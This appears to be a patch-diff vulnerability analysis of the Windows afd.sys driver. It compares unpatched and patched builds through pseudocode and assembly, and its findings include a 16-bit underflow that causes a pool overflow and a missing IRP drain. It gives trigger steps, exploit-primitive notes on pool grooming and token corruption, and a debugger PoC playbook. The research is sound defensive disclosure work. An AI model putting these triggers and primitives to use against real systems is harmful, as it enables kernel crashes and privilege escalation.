Call chain: 1. NtDeviceIoControlFile / WSAIoctl / connect (user mode) 2. AFD IRP_MJ_DEVICE_CONTROL dispatch 3. AfdTLListenComplete — TDI listen completion handler (failure/abort branch)

Finding 3 — Connection-Teardown State Check Made Unconditional (downgraded)

Field	Value
Severity	Low
Class	Missing state validation under feature-flag-off configuration (hardening)
Function	`AfdSanFastCompleteRequest` (unpatched `0x1C0078630`, patched `0x1C0077700`)
Primitive	Receive IRP queued onto a connection whose teardown-state byte is set

Root cause and downgrade rationale: In the completion path, under the connection spinlock (conn+0x30), the code sets Irp->CancelRoutine = AfdSanCancelRequest (Irp+0x68), checks Irp->Cancel (Irp+0x44), and decides whether to queue the IRP onto the conn+0x70 list. The unpatched queue condition is Irp->Cancel == 0 && (!EvaluateCurrentState(flag) || conn[0x91] == 0). When the feature flag is disabled, !EvaluateCurrentState(flag) is true, so the teardown-state byte conn[0x91] is not checked and the IRP is queued regardless. The patched condition is simply Irp->Cancel == 0 && conn[0x91] == 0 — the conn[0x91] check is unconditional.

The report's original framing of this as a time-of-check/time-of-use race is not supported by the binaries: the cancel-routine set, both checks, and the list insertion all execute while the connection spinlock is held, and AfdSanCancelRequest itself takes the same lock, so no concurrent cancel can interleave inside this region. There is no widened race window and no double list insertion. The real change is narrower: a connection-teardown state check that was skipped when a feature flag was off is now always enforced. The cancel routine is AfdSanCancelRequest in both builds (the earlier claim of two different cancel-routine addresses was an artifact of address rebasing). This is a defensive hardening change, downgraded accordingly.

Call chain: 1. NtDeviceIoControlFile / WSARecv / recv (user mode) 2. AFD IRP_MJ_DEVICE_CONTROL dispatch 3. AfdSanFastCompleteRequest — receive completion path with cancel-routine setup

3. Pseudocode Diff

Finding 1 — `AfdSanAcceptCore` (Accept Completion — Integer Underflow)

// ============================================================
// UNPATCHED — AfdSanAcceptCore @ 0x1C007608C
// ============================================================
if ( v15[6] >= 6u )                       // options size guard: >= 6
{
    v31 = *((_WORD *)v15 + 12);           // v31 = options size (16-bit)
    v32 = (unsigned __int16 *)((char *)v49 + v49[10] + 24);   // source in response
    // ... map output buffer, v35 = &mapped[v15[2]] ...
    if ( *(_BYTE *)(v46 + 172) != 0 )     // connection byte [conn+0xAC] != 0 : subtract-2 path
    {
        v36 = *v32;
        if ( v36 + 2 >= (unsigned __int64)v31 - 2 )   // v31 >= 6, so v31-2 >= 4, no underflow
            v37 = v31 - 2;
        else
            v37 = v36 + 2;
        memmove(v35, v32 + 1, v37);
        *(_WORD *)&v35[v15[6] - 2] = v37;
    }
    else                                  // [conn+0xAC] == 0 : subtract-8 path (VULNERABLE)
    {
        v39 = *v32;
        if ( v39 + 4 >= v31 - 8 )         // v31 in {6,7}: v31-8 is negative; branch taken
            v40 = v31 - 8;                // v40 is unsigned __int16 -> 0xFFFE / 0xFFFF
        else
            v40 = v39 + 4;
        *(_DWORD *)v35 = 0;
        *((_DWORD *)v35 + 1) = 1;
        memmove(v35 + 8, v32, v40);       // OVERSIZED copy (up to ~65534 bytes)
    }
}

// ============================================================
// PATCHED — AfdSanAcceptCore @ 0x1C007508C
// ============================================================
if ( *(_BYTE *)(v52 + 172) != 0 )         // subtract-2 path: unchanged
{
    // ... identical to unpatched subtract-2 path ...
}
else if ( EvaluateCurrentState(&g_Feature_1191968056_61054031_FeatureDescriptorDetails) )
{
    if ( v35 < 8u )                       // NEW: explicit lower-bound check
    {
        memset(v39, 0, v35);              // SAFE: zero-fill, no subtraction
        goto done;
    }
    v43 = v35 - 8;                        // safe here: v35 >= 8
    // ... bounded copy of at most (v35 - 8) bytes ...
}
else
{
    // feature OFF: old subtract-8 path is preserved (still underflows for size 6/7)
    if ( v47 + 4 >= v35 - 8 )
        v48 = v35 - 8;
    else
        v48 = v47 + 4;
    // ... memmove with v48 ...
}

Finding 2 — `AfdTLListenComplete` (Failed-Listen Completion — Missing IRP Drain)

// ============================================================
// UNPATCHED — AfdTLListenComplete @ 0x1C005AB60
// ============================================================
if ( a2 < 0 )                             // failed-listen (abort) branch
{
    KeAcquireInStackQueuedSpinLock((PKSPIN_LOCK)FsContext + 6, &LockHandle);  // lock at conn+0x30
    *((_DWORD *)FsContext + 2) &= 0xFFFFFFFC;      // [conn+8] &= ~3
    FsContext[84] = *((_WORD *)&Irp->Tail.CompletionKey + 12);   // conn[0xA8]
    FsContext[85] = (unsigned __int16)Irp->Tail...Flink;         // conn[0xAA]
    *FsContext &= ~4u;                     // clear flag 0x4
    // NO drain of the pending listen-IRP list at conn+0x70
    KeReleaseInStackQueuedSpinLock(&LockHandle);
}
// ... AfdDerefTLBaseEndpoint(FsContext); IofCompleteRequest(Irp, ...) ...

// ============================================================
// PATCHED — AfdTLListenComplete @ 0x1C0059850
// ============================================================
if ( a2 < 0 )
{
    KeAcquireInStackQueuedSpinLock((PKSPIN_LOCK)FsContext + 6, &LockHandle);
    *((_DWORD *)FsContext + 2) &= 0xFFFFFFFC;
    FsContext[84] = *((_WORD *)&Irp->Tail.CompletionKey + 12);
    FsContext[85] = (unsigned __int16)Irp->Tail...Flink;
    *FsContext &= ~4u;
    if ( EvaluateCurrentState(&g_Feature_2949905720_61057653_FeatureDescriptorDetails) )
        AfdDrainListeningIrps((KSPIN_LOCK *)FsContext, &LockHandle, a2);   // NEW: drain conn+0x70 list
    KeReleaseInStackQueuedSpinLock(&LockHandle);
}

Finding 3 — `AfdSanFastCompleteRequest` (Receive Completion — State Check Made Unconditional)

// ============================================================
// UNPATCHED — AfdSanFastCompleteRequest @ 0x1C0078630
// ============================================================
KeAcquireInStackQueuedSpinLock((PKSPIN_LOCK)(v18 + 48), &LockHandle);   // lock at conn+0x30
_InterlockedExchange64(v20 + 13, (__int64)AfdSanCancelRequest);         // Irp->CancelRoutine = Irp+0x68
if ( *((_BYTE *)v20 + 68) == 0                                          // Irp->Cancel (Irp+0x44) == 0
  && (!EvaluateCurrentState(&g_Feature_757798200_60363861_FeatureDescriptorDetails)
   || *(_BYTE *)(v18 + 145) == 0) )                                     // conn[0x91] checked only if flag on
{
    // queue IRP list entry (Irp+0xA8) onto the conn+0x70 list
    v27 = v20 + 21;
    v28 = (_QWORD *)(v18 + 112);
    v29 = *(_QWORD *)(v18 + 112);
    if ( *(_QWORD *)(v29 + 8) != v18 + 112 ) __fastfail(3u);
    *v27 = v29; v27[1] = v28; *(_QWORD *)(v29 + 8) = v27; *v28 = v27;
    KeReleaseInStackQueuedSpinLock(&LockHandle);
}

// ============================================================
// PATCHED — AfdSanFastCompleteRequest @ 0x1C0077700
// ============================================================
KeAcquireInStackQueuedSpinLock((PKSPIN_LOCK)(v18 + 48), &LockHandle);
_InterlockedExchange64(v20 + 13, (__int64)AfdSanCancelRequest);
if ( *((_BYTE *)v20 + 68) == 0 && *(_BYTE *)(v18 + 145) == 0 )          // conn[0x91] check now unconditional
{
    // identical list insertion onto conn+0x70
    v27 = v20 + 21;
    v28 = (_QWORD *)(v18 + 112);
    v29 = *(_QWORD *)(v18 + 112);
    if ( *(_QWORD *)(v29 + 8) != v18 + 112 ) __fastfail(3u);
    *v27 = v29; v27[1] = v28; *(_QWORD *)(v29 + 8) = v27; *v28 = v27;
    KeReleaseInStackQueuedSpinLock(&LockHandle);
}

4. Assembly Analysis

Finding 1 — `AfdSanAcceptCore` Vulnerable Options Copy

Unpatched assembly (options guard and the vulnerable subtract-8 branch):

00000001C0076401  cmp     dword ptr [rbx+18h], 6      ; options size < 6 -> skip copy
00000001C0076405  jb      loc_1C00764DF
00000001C007640B  movzx   r14d, word ptr [rbx+18h]    ; r14 = options size (16-bit)
; ... output buffer mapped into r15 ...
00000001C0076452  mov     rax, [rsp+0A8h+var_48]
00000001C0076457  cmp     byte ptr [rax+0ACh], 0      ; connection byte [conn+0xAC]
00000001C007645E  jz      short loc_1C007649E         ; == 0 -> subtract-8 (vulnerable) path
; ( [conn+0xAC] != 0 falls through to the subtract-2 path at 0x1C0076460, which cannot
;   underflow because size >= 6, and is unchanged between builds )
00000001C007649E  movzx   r8d, word ptr [rdx]         ; r8 = 16-bit value from response
00000001C00764A2  mov     r9d, 4
00000001C00764A8  lea     ecx, [r9+r8]                ; ecx = r8 + 4
00000001C00764AC  movzx   eax, r14w                   ; eax = options size
00000001C00764B0  sub     eax, 8                      ; eax = size - 8
00000001C00764B3  cmp     ecx, eax
00000001C00764B5  jge     short loc_1C00764BD
00000001C00764B7  lea     r14d, [r9+r8]               ; r14 = r8 + 4
00000001C00764BB  jmp     short loc_1C00764C6
00000001C00764BD  mov     eax, 0FFF8h
00000001C00764C2  add     r14w, ax                    ; r14 = size - 8 in 16 bits -> 0FFFEh/0FFFFh for size 6/7
00000001C00764C6  and     dword ptr [r15], 0
00000001C00764CA  mov     dword ptr [r15+4], 1
00000001C00764D2  movzx   r8d, r14w                    ; Size = underflowed length
00000001C00764D6  lea     rcx, [r15+8]                 ; dst = mapped output buffer + 8
00000001C00764DA  call    memmove                      ; oversized copy -> buffer overflow

Patched assembly (same subtract-8 branch, now feature-gated with a < 8 check):

00000001C0075457  cmp     [rax+0ACh], dil              ; connection byte [conn+0xAC] == 0 ?
00000001C007545E  jz      short loc_1C00754A5
00000001C00754A5  lea     rcx, g_Feature_1191968056_61054031_FeatureDescriptorDetails
00000001C00754AC  call    EvaluateCurrentState
00000001C00754B1  mov     ebx, 8
00000001C00754B6  test    eax, eax
00000001C00754B8  jz      short loc_1C0075512          ; feature OFF -> old subtract-8 path (still underflows)
00000001C00754BA  cmp     si, bx                       ; options size < 8 ?
00000001C00754BD  jb      short loc_1C0075502          ; yes -> zero-fill instead of subtracting
00000001C00754BF  sub     si, bx                       ; size - 8 (safe: size >= 8 here)
; ...
00000001C0075502  movzx   r8d, si                      ; Size = options size (< 8)
00000001C0075506  xor     edx, edx                     ; Val = 0
00000001C0075508  mov     rcx, r15                     ; dst
00000001C007550B  call    memset                       ; SAFE: zero the small buffer

Finding 2 — `AfdTLListenComplete` Missing IRP Drain Before Lock Release

Unpatched assembly (failed-listen branch):

00000001C005ABB6  test    ebp, ebp                     ; completion status
00000001C005ABB8  js      short loc_1C005AC1B          ; status < 0 -> abort branch
; ...
00000001C005AC1B  lea     rcx, [rbx+30h]               ; SpinLock (conn+0x30)
00000001C005AC1F  lea     rdx, [rsp+88h+LockHandle]
00000001C005AC24  call    cs:__imp_KeAcquireInStackQueuedSpinLock
00000001C005AC2A  and     dword ptr [rbx+8], 0FFFFFFFCh
00000001C005AC33  movzx   eax, word ptr [rsi+90h]
00000001C005AC3A  mov     [rbx+0A8h], ax
00000001C005AC41  movzx   eax, word ptr [rsi+78h]
00000001C005AC45  mov     [rbx+0AAh], ax
00000001C005AC4C  mov     eax, 0FFFBh
00000001C005AC51  and     [rbx], ax                    ; clear flag 0x4
; *** no drain of the conn+0x70 list ***
00000001C005AC54  call    cs:__imp_KeReleaseInStackQueuedSpinLock

Patched assembly (same branch, drain added before lock release):

00000001C005990B  lea     rcx, [rbx+30h]               ; SpinLock (conn+0x30)
00000001C005990F  lea     rdx, [rsp+88h+LockHandle]
00000001C0059914  call    cs:__imp_KeAcquireInStackQueuedSpinLock
00000001C005991A  and     dword ptr [rbx+8], 0FFFFFFFCh
00000001C005991E  lea     rcx, g_Feature_2949905720_61057653_FeatureDescriptorDetails
00000001C0059925  movzx   eax, word ptr [rsi+90h]
00000001C005992C  mov     [rbx+0A8h], ax
00000001C0059933  movzx   eax, word ptr [rsi+78h]
00000001C0059937  mov     [rbx+0AAh], ax
00000001C005993E  mov     eax, 0FFFBh
00000001C0059943  and     [rbx], ax
00000001C0059946  call    EvaluateCurrentState
00000001C005994B  test    eax, eax
00000001C005994D  jz      short loc_1C005995F          ; feature OFF -> skip drain
00000001C005994F  mov     r8d, ebp                     ; arg3 = completion status
00000001C0059952  lea     rdx, [rsp+88h+LockHandle]    ; arg2 = &LockHandle
00000001C0059957  mov     rcx, rbx                     ; arg1 = connection
00000001C005995A  call    AfdDrainListeningIrps        ; NEW: drain + complete pending listen IRPs
00000001C005995F  lea     rcx, [rsp+88h+LockHandle]
00000001C0059964  call    cs:__imp_KeReleaseInStackQueuedSpinLock

Finding 3 — `AfdSanFastCompleteRequest` Teardown-State Check

Unpatched assembly (state check gated by the feature flag):

00000001C0078958  lea     rcx, [r15+30h]               ; SpinLock (conn+0x30)
00000001C007895C  lea     rdx, [rsp+0B8h+LockHandle]
00000001C0078964  call    cs:__imp_KeAcquireInStackQueuedSpinLock
00000001C007896A  lea     rax, AfdSanCancelRequest
00000001C0078971  xchg    rax, [rsi+68h]               ; Irp->CancelRoutine = AfdSanCancelRequest
00000001C0078975  cmp     byte ptr [rsi+44h], 0        ; Irp->Cancel
00000001C0078979  jnz     short loc_1C00789D2          ; cancelled -> complete as cancelled
00000001C007897B  lea     rcx, g_Feature_757798200_60363861_FeatureDescriptorDetails
00000001C0078982  call    EvaluateCurrentState
00000001C0078987  test    eax, eax
00000001C0078989  jz      short loc_1C0078995          ; feature OFF -> SKIP the [conn+0x91] check, queue IRP
00000001C007898B  cmp     byte ptr [r15+91h], 0        ; teardown-state byte
00000001C0078993  jnz     short loc_1C00789D2
00000001C0078995  add     rsi, 0A8h                    ; Irp list entry (Irp+0xA8)
00000001C007899C  lea     rax, [r15+70h]               ; list head (conn+0x70)
00000001C00789A0  mov     rcx, [rax]
00000001C00789A3  cmp     [rcx+8], rax
00000001C00789A7  jz      short loc_1C00789B0
00000001C00789A9  mov     ecx, 3
00000001C00789AE  int     29h                          ; RtlFailFast on list corruption
00000001C00789B0  mov     [rsi], rcx                   ; queue IRP onto conn+0x70 list
00000001C00789B3  mov     [rsi+8], rax
00000001C00789B7  mov     [rcx+8], rsi
00000001C00789BB  mov     [rax], rsi

Patched assembly (state check unconditional, feature-flag call removed):

00000001C0077A3A  lea     rax, AfdSanCancelRequest
00000001C0077A41  xchg    rax, [rsi+68h]               ; Irp->CancelRoutine = AfdSanCancelRequest
00000001C0077A45  cmp     byte ptr [rsi+44h], 0        ; Irp->Cancel
00000001C0077A49  jnz     short loc_1C0077A92          ; cancelled -> complete as cancelled
00000001C0077A4B  cmp     byte ptr [r15+91h], 0        ; teardown-state byte (always checked)
00000001C0077A53  jnz     short loc_1C0077A92
00000001C0077A55  add     rsi, 0A8h
00000001C0077A5C  lea     rax, [r15+70h]
00000001C0077A60  mov     rcx, [rax]
00000001C0077A63  cmp     [rcx+8], rax
00000001C0077A67  jz      short loc_1C0077A70
00000001C0077A69  mov     ecx, 3
00000001C0077A6E  int     29h
00000001C0077A70  mov     [rsi], rcx                   ; queue IRP onto conn+0x70 list
00000001C0077A73  mov     [rsi+8], rax
00000001C0077A77  mov     [rcx+8], rsi
00000001C0077A7B  mov     [rax], rsi

5. Trigger Conditions

Finding 1 — Integer Underflow / Pool Overflow

Open an AFD socket via WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP) or CreateFileW(L"\\\\.\\Device\\Afd", ...).
bind() and listen(), then post an accept operation (AcceptEx / WSAAccept), which reaches AfdSanAcceptCore via AfdAccept / AfdServiceSuperAccept / AfdServiceWaitForListen.
The completion must reach the options block: options_size (the field at [connection+0x18], v15[6]) must be >= 6, and the connection byte at [connection+0xAC] must be 0 so the subtract-8 branch runs.
Drive the options length to exactly 6 or 7: options_size - 8 wraps in 16 bits to 0xFFFE/0xFFFF.
Observable effect: memmove copies ~65534/65535 bytes from the transport response into the MDL-mapped output buffer. The overflow is bounded to at most ~64 KB (the length is a 16-bit value), but that is far larger than the small options field the buffer was sized for. Expect pool/adjacent-page corruption and a BSOD such as PAGE_FAULT_IN_NONPAGED_AREA or BAD_POOL_HEADER.

Finding 2 — Pending Listen IRPs Not Drained

Create a listening AFD socket and arrange for the listen to complete with a failure status (a2 < 0), which selects the abort branch in AfdTLListenComplete.
Have listen/wait IRPs queued on the endpoint's conn+0x70 list at the time of the failed completion.
In the unpatched build the abort branch clears the state flags and releases the conn+0x30 spinlock without draining conn+0x70, then AfdDerefTLBaseEndpoint runs.
Observable effect: IRPs remaining on conn+0x70 after the endpoint dereference are stale; later access/completion of them can touch a freed endpoint. At the KeReleaseInStackQueuedSpinLock in the abort branch, [conn+0x70] != conn+0x70 indicates undrained IRPs.

Finding 3 — Teardown-State Check (hardening)

Establish a TCP connection over an AFD socket and issue receive operations that reach AfdSanFastCompleteRequest.
Arrange for the connection to be in teardown (conn[0x91] != 0) at completion time.
With the relevant feature flag disabled, the unpatched build skips the conn[0x91] check and queues the receive IRP onto conn+0x70 even though the connection is tearing down. The patched build always checks conn[0x91] and instead completes the IRP as cancelled.
This is a state-validation gap, not a timing race — the entire sequence runs under the conn+0x30 spinlock.

6. Exploit Primitive & Development Notes

Finding 1 — Pool / Mapped-Buffer Overflow Primitive

Primitive: Bounded kernel buffer overflow. memmove copies up to a 16-bit length (max 0xFFFF) from the transport connection-response options data into the MDL-mapped output buffer. The copy overruns the buffer's mapped extent into adjacent kernel memory.
Overflow characteristics: The length is capped by the 16-bit wrap (≤ ~64 KB), so this is not an unbounded copy. The source is the connection-response options region; how much of its content is attacker-controlled depends on the transport. The destination is the accept output buffer described by the user-supplied MDL.
Turning into a full exploit: Standard kernel pool-overflow techniques would apply (grooming an adjacent target object, corrupting a data-only field such as token privileges), but the bounded length and the requirement that the feature flag be in the vulnerable state constrain reliability. No pointer leak is required for the overflow itself.
Mitigations: Pool integrity checks, randomized pool layout, and HVCI complicate exploitation as usual.

Finding 2 — Stale IRP Primitive

Primitive: IRPs left queued on conn+0x70 across AfdDerefTLBaseEndpoint on the failed-listen path. If the dereference frees the endpoint, later handling of those IRPs references freed memory.
Turning into a full exploit: Would require reclaiming the freed endpoint allocation and steering a subsequent IRP-driven access, which is timing- and layout-dependent.

Finding 3 — State-Validation Hardening

Not a standalone exploit primitive. The change removes a configuration (feature-flag-off) in which a receive IRP could be queued onto a connection already in teardown. Impact depends on downstream handling of that queued IRP and is not demonstrable from the diff alone.

7. Debugger PoC Playbook

Finding 1 — `AfdSanAcceptCore` (Integer Underflow → Overflow)

Breakpoints:

bp afd_unpatched+0x7608C

Break at the accept completion routine entry.

bp afd_unpatched+0x764C2

Break at add r14w, ax (the 0FFF8h subtraction). Inspect r14 immediately after: for options size 6 it becomes 0xFFFE, for 7 0xFFFF.

bp afd_unpatched+0x764DA

Break at the memmove in the subtract-8 branch and read r8 (the size argument).

What to inspect:

Register / Memory	Meaning
`word [connection+0x18]`	Options size; must be 6 or 7 to trigger
`byte [connection+0xAC]`	Must be 0 to reach the subtract-8 branch
`r14` at `0x1C00764C2`	Copy length after the 16-bit subtraction (`0xFFFE`/`0xFFFF` on underflow)
`r15`	Destination: mapped output buffer base used by the copy
`rdx`	Source pointer into the connection-response options data

Key instruction offsets:

Offset	Instruction	Significance
`0x1C0076401`	`cmp dword [rbx+18h], 6`	Only guard on options size
`0x1C007645E`	`jz loc_1C007649E`	Selects the subtract-8 (vulnerable) branch when `[conn+0xAC]==0`
`0x1C00764C2`	`add r14w, ax`	16-bit `size - 8` underflow
`0x1C00764DA`	`call memmove`	Oversized copy

Expected observation: At the memmove, r8 holds 0xFFFE/0xFFFF, and the copy overruns the mapped output buffer, corrupting adjacent memory (BSOD PAGE_FAULT_IN_NONPAGED_AREA / BAD_POOL_HEADER).

Finding 2 — `AfdTLListenComplete` (Missing IRP Drain)

Breakpoints:

bp afd_unpatched+0x5AB60

Entry of the listen completion handler. rbx becomes the connection object; the pending listen-IRP list head is conn+0x70.

bp afd_unpatched+0x5AC54

Break at the KeReleaseInStackQueuedSpinLock in the abort branch. Check whether [conn+0x70] still points at queued IRPs.

What to inspect:

Register / Memory	Meaning
`rbx`	Connection object
`[rbx+0x70]`	Pending listen-IRP list Flink; `!= rbx+0x70` means undrained IRPs
`[rbx+8]`	State dword; watch `&= ~3`
`word [rbx]`	Flags; watch `&= ~4`
`[rbx+0xA8]`, `[rbx+0xAA]`	State values written from the IRP

Key instruction offsets:

Offset	Instruction	Significance
`0x1C005ABB8`	`js loc_1C005AC1B`	Selects the abort branch (status < 0)
`0x1C005AC2A`–`0x1C005AC51`	State-flag updates	Connection state transition
`0x1C005AC54`	`call KeReleaseInStackQueuedSpinLock`	Lock release without drain (unpatched)

Finding 3 — `AfdSanFastCompleteRequest` (Teardown-State Check)

Breakpoints:

bp afd_unpatched+0x78630

Entry of the receive completion path. rsi = IRP, r15 = connection object.

bp afd_unpatched+0x78982

Break at the feature-flag call EvaluateCurrentState. If it returns 0, the [r15+0x91] teardown check is skipped and the IRP is queued unconditionally.

bp afd_unpatched+0x789B0

Break at the list insertion onto conn+0x70.

What to inspect:

Register / Memory	Meaning
`rsi`	IRP pointer
`[rsi+0x44]`	`Irp->Cancel`
`[rsi+0x68]`	`Irp->CancelRoutine`, set to `AfdSanCancelRequest`
`[r15+0x91]`	Connection teardown-state byte
`[r15+0x70]`	Pending-IRP list head
`[rsi+0xA8]`, `[rsi+0xB0]`	IRP list-entry fields queued onto the list

Key instruction offsets:

Offset	Instruction	Significance
`0x1C0078971`	`xchg [rsi+68h], rax`	Sets the cancel routine (under the lock)
`0x1C0078975`	`cmp byte [rsi+44h], 0`	`Irp->Cancel` check
`0x1C0078982`	`call EvaluateCurrentState`	Feature-flag gate; when off, `[r15+0x91]` is not checked
`0x1C00789B0`	`mov [rsi], rcx`	IRP queued onto `conn+0x70`

8. Changed Functions — Full Triage

Security-Relevant Changes (4 functions)

Function	Similarity	Change Type	Note
`AfdSanAcceptCore` (`0x1C007608C`)	0.8803	Security	Accept completion — patched adds a feature-gated `options_size < 8` zero-fill (`memset`), preventing the 16-bit `size - 8` underflow in the copy length
`AfdTLListenComplete` (`0x1C005AB60`)	0.8635	Security	Failed-listen completion — patched adds a feature-gated `AfdDrainListeningIrps` call to drain the `conn+0x70` IRP list before releasing the lock
`AfdSanFastCompleteRequest` (`0x1C0078630`)	0.9817	Hardening	Receive completion — the `conn[0x91]` teardown-state check, previously feature-flag-gated, is made unconditional; not a race (all under the connection spinlock)
`sub_1C00529A0`	0.8387	Security-relevant (candidate)	Connection abort/cleanup — restructured drain logic with added feature-gated state checks; specific mechanism not further verified here

Behavioral Changes (19 functions)

These functions share a common pattern: addition (or removal) of EvaluateCurrentState feature-flag checks that gate new code paths, consolidation of dual code paths into single calls, and connection-state validation refactoring.

Function	Similarity	Key Change
`sub_1C00357C0`	0.8794	Feature flag added; state validation split into separate branches
`sub_1C003EC54`	0.8796	Feature flag added; lock/unlock wrapping around dispatch made conditional
`sub_1C005B360`	0.8438	Feature flags added; connection validation split
`sub_1C005B600`	0.8438	Same restructuring as `sub_1C005B360`
`sub_1C0032B70`	0.9212	Feature flag; condition split; explicit handle variable
`sub_1C0047DC4`	0.9067	Removed dual path; unified to `sub_1C0047FF0`
`sub_1C003C5C0`	0.6169	Removed dual path; unified to `sub_1C0047FF0`; code deduplication
`sub_1C005A280`	0.9236	Removed dual path; unified to `sub_1C0047FF0`; reversed condition order
`sub_1C0076DB0`	0.8696	Removed feature-flag-gated dual path; unconditional IRP draining and reset
`sub_1C0077F70`	0.9893	Inlined connection setup; fields set directly
`sub_1C0047000`	0.9077	Dual code path consolidation; variable/address renames
`sub_1C0047FF0`	0.9373	Unified function replacing two prior helpers
`sub_1C0034AD0`	0.9541	Feature flag; condition split
`AfdSanConnectHandler` (`0x1C00771B0`)	0.9371	Variable renaming; dual code path consolidation
`sub_1C00548E0`	0.8961	Feature flag; condition split
`sub_1C0035A70`	0.342	Significant restructuring; feature flag + path consolidation
`sub_1C00360C0`	0.423	Significant restructuring; matched to a different function in the patched binary
`sub_1C0042230`	0.373	Significant restructuring; matched to a different function in the patched binary
`sub_1C003BD30`	0.391	Matched to a different function; likely false match

Cosmetic / False Matches (10 functions)

Function	Similarity	Note
`sub_1C0047D90`	0.918	Address changes only
`sub_1C00795C4`	0.970	Variable renaming only
`sub_1C0053FA0`	0.115	False match — unrelated functions
`sub_1C0068600`	0.130	False match
`sub_1C0076630`	0.168	False match
`sub_1C0015AF8`	0.110	False match
`sub_1C0065D98`	0.006	False match
`sub_1C0069608`	0.095	False match
`sub_1C000CEB0`	0.329	False match or trivial function
`sub_1C00529A0` (listed above)	—	Also has cosmetic restructuring alongside the candidate security change

9. Unmatched Functions

No functions were added or removed between the two binaries. All 33 changed functions were matched one-to-one. The 10 low-similarity matches (similarity < 0.33) are almost certainly false matches — unrelated functions paired due to address proximity or structural coincidence.

10. Confidence & Caveats

Confidence

Finding 1 (High confidence): The unpatched size - 8 16-bit underflow (for options size 6/7, past the >= 6 guard) and the patched size < 8 zero-fill are both directly visible in the disassembly and decompilation of both builds. The underflow is bounded to a 16-bit length (≤ ~64 KB), not an unbounded copy.
Finding 2 (Medium-High confidence): The added drain of the conn+0x70 list before lock release on the failed-listen path is clearly present in the patched build and absent in the unpatched build. The precise exploitability (use-after-free vs. leaked/stuck IRP) is not fully established from the diff.
Finding 3 (Low confidence / downgraded): The change is real (the conn[0x91] teardown-state check made unconditional) but is a hardening improvement, not a race. The earlier TOCTOU characterization is not supported by the code, which runs the whole sequence under the connection spinlock.

Assumptions

Feature flags gate the fixes. Findings 1 and 2 are only active when their EvaluateCurrentState feature flag is enabled; with the flag off, the patched binary still contains the vulnerable path. Finding 3 is the reverse: the patched build removes the flag gate so the check is always enforced. The runtime flag state on a target should be confirmed.
Options length source (Finding 1). The options size at [connection+0x18] is assumed to derive from the transport connection response. The degree of attacker control over reaching exactly 6/7 depends on the transport and was not further traced.
sub_1C00529A0 is listed as a security-relevant candidate based on its restructured cleanup logic; its exact mechanism was not verified in this pass.

What to Verify Manually Before Writing a PoC

Options length control (Finding 1): Confirm how the transport populates [connection+0x18] and whether values 6/7 are reachable for a peer.
Feature flag states: Confirm the runtime state of g_Feature_1191968056_61054031, g_Feature_2949905720_61057653, and g_Feature_757798200_60363861.
Output buffer sizing (Finding 1): Determine the mapped extent of the accept output buffer to characterize how far past it the ~64 KB copy reaches.
Endpoint lifetime (Finding 2): Confirm whether AfdDerefTLBaseEndpoint on the abort path can free the endpoint while IRPs remain on conn+0x70.

afd.sys — Out-of-bounds write (CWE-787) in SAN accept address handling and out-of-bounds read (CWE-125) in super-accept address retrieval fixed

2026-06-26T00:00:00-07:00

1. Overview

Unpatched Binary: afd_unpatched.sys
Patched Binary: afd_patched.sys
Overall Similarity Score: 0.9888
Diff Statistics: Matched: 1097 | Changed: 15 | Identical: 1082 | Unmatched: 0
Verdict: The patch delivers two related kernel address-buffer bounds fixes that were previously staged behind WIL feature flags and are made unconditional in the patched build:
Finding A (primary, CWE-787): an out-of-bounds write in the AFD SAN accept address handling (AfdSanConnectHandler and its twin AfdSanAcceptCore). The unpatched default path copies an attacker-influenced-length address field into an MDL-mapped kernel buffer without clamping to the buffer capacity.
Finding B (CWE-125): an out-of-bounds read in the SuperAccept transport-address retrieval completion routine (AfdRestartSuperAcceptGetAddress) that leaks up to 10 bytes of adjacent kernel memory to user mode.
In both cases the unpatched build keeps the unsafe path as the default when its feature flag is disabled; the patch removes the flag and applies the bounds clamp unconditionally.

2. Vulnerability Summary

Finding A (primary) — Out-of-bounds write in SAN accept address handling

Severity: High (kernel out-of-bounds write with attacker-influenced length into an MDL-mapped buffer)
Vulnerability Class: Out-of-bounds write (CWE-787)
Affected Functions: AfdSanConnectHandler (unpatched sub_1C00772A0 / patched sub_1C00771B0) and its twin AfdSanAcceptCore (sub_1C007608C in both builds)
Feature flag: g_Feature_232206649_59779869 (evaluated via EvaluateCurrentState, sub_1c0015714) — present 5 times in the unpatched decompilation, 0 times in the patched build.

Root Cause: When an accepted SAN connection's address data is written into the accept output buffer, the copy length is taken from a 16-bit length field at the start of the source data (*(uint16*)Src). In the unpatched build the bounds clamp against the destination buffer capacity is gated behind EvaluateCurrentState(&g_Feature_232206649_59779869). When the flag is disabled (its default state), control falls into a legacy path that issues memmove(dst, Src+2, *(uint16*)Src + 2) (and a sibling memmove(dst+8, Src, *(uint16*)Src + 4)) with no clamp against the buffer capacity. dst lies inside the MDL-mapped accept buffer, so a length field larger than the remaining capacity drives the copy past the end of that buffer — a kernel out-of-bounds write of attacker-influenced data. The patched build removes the feature flag and the entire unclamped legacy path, so the copy length is always clamped to the buffer capacity (capacity - 2 for the address copy, capacity - 8 for the header+address copy).

Assembly evidence — AfdSanConnectHandler:

; ===== UNPATCHED sub_1C00772A0 — feature-gated clamp, unclamped default path =====
0x1c007788d: lea     rcx, g_Feature_232206649_59779869_FeatureDescriptorDetails
0x1c0077894: call    EvaluateCurrentState
0x1c0077899: test    eax, eax
0x1c007789b: jz      0x1c007796a          ; flag OFF -> legacy UNCLAMPED path
; --- flag ON: clamped path (capacity taken from word [r12+0x18]) ---
0x1c00778a1: cmp     dword [r12+0x18], 6
0x1c0077905: mov     eax, 0xfffe          ; clamp to capacity - 2
0x1c007790a: add     si, ax
0x1c007791d: call    memmove              ; clamped copy
; --- flag OFF: legacy path, NO capacity clamp ---
0x1c007796a: cmp     dword [r12+0x18], r14d
0x1c00779ad: movzx   r8d, word [r15]      ; r8 = *(uint16*)Src
0x1c00779b1: add     r8, 2                ; size = *(uint16*)Src + 2  (unclamped)
0x1c00779bc: call    memmove              ; OOB WRITE (source length, not capacity)
0x1c00779df: movzx   eax, word [r9]       ; sibling: size = *(uint16*)Src + 4
0x1c00779e3: add     eax, 4
0x1c00779f0: call    memmove              ; OOB WRITE (unclamped)

; ===== PATCHED sub_1C00771B0 — feature flag removed, clamp always applied =====
0x1c00777bb: cmp     dword [r15+0x18], 6  ; unconditional guard (no EvaluateCurrentState)
0x1c0077827: mov     eax, 0xfffe          ; clamp to capacity - 2
0x1c007782c: add     si, ax
0x1c007783e: call    memmove              ; clamped copy
0x1c0077870: mov     eax, 0xfff8          ; clamp to capacity - 8
0x1c0077875: add     si, ax
